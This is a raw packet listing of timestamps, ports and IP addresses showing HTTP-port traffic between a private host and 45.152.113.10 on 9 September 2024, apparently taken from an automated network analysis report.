Sep 9, 2024 18:45:02.142200947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142210960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142218113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142235041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142235041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142246962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142251015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142267942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142281055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142304897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142433882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142450094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142466068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142481089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142488003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142493963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142520905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142522097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142533064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142540932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142565966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142573118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142580032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142616034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142632961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142648935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142677069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142690897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142745018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142760038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142775059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142790079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142792940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142803907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142824888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142837048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.142981052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.142996073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143013954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143029928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143033981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143052101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143080950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143124104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143140078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143156052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143172026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143171072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143186092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143202066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143214941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143290997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143306971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143322945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143340111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143341064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143352032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143357038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143372059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143373966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.143395901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143404961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.143428087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.196719885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196733952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196748972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196774006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196798086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196799994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.196815014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196832895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.196855068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.196871996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.196902990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196918964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196933985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196949959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196962118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.196962118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.196969032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.196975946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197015047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197016954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197031021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197067976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197093964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197132111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197149038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197165012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197181940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197185993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197185993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197216988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197297096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197313070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197328091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197329998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197345972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197360039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197361946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197386026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197403908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197438955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197453022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197475910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197484970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197491884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197510004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197510004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197520018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197541952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197551012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197654963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197669983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197685957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197700977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197702885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197714090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197717905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197736025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197735071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197748899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197753906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197768927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197771072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197781086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197804928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197805882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197818995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197849989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197860956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197877884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.197907925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.197917938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198018074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198041916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198065996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198066950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198081017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198081970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198098898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198107958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198117018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198131084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198132992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198149920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198153019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198164940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198184967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198194981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198227882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198242903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198256969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198272943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198273897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198291063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198292971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198318005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198340893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198409081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198424101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198438883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198452950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198457956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198470116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198477030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198487043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198498011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198523998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198546886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198592901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198610067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198632002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198648930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198658943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198663950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198673010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198682070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.198704958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.198734999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234297037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234358072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234360933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234371901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234397888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234411001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234414101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234445095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234452963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234461069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234479904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234494925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234513998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234555006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234586954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234601974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234630108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234642029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234658003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234685898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234699011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234705925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234714985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234731913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234740973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234760046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234775066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234935045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234951019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234967947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.234982967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.234983921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235008001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235008001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235023975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235033989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235040903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235070944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235085011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235096931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235111952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235145092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235151052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235160112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235166073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235194921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235208988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235265970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235281944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235297918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235313892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235317945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235331059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235341072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235348940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235366106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235366106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235400915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235414982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235421896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235464096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235481024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235496044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235511065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235527992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235531092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235555887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235583067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235588074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235603094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235632896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235637903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235652924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235691071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235726118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235742092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235770941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235774994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235791922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235802889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235807896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235825062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235838890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235861063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235940933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235956907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235974073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.235985994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.235990047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.236005068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.236006021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.236016035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.236037016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.236052990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.236078024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.236095905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.236124992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.236138105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289110899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289139032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289199114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289235115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289266109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289282084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289298058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289309978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289330959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289334059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289349079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289366007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289371014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289382935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289395094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289417028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289434910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289470911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289477110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289490938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289520025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289535046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289558887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289577007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289592028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289602041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289621115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289635897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289689064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289705038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289720058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289733887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289762974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289766073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289783955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289798975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289813995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289836884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289850950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289881945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289885044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289899111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.289936066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.289968967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290000916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290015936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290030956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290054083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290055990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290075064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290091038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290112019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290143013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.290163994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.290179014 CEST	80	49707	45.152.113.10	192.168.2.5
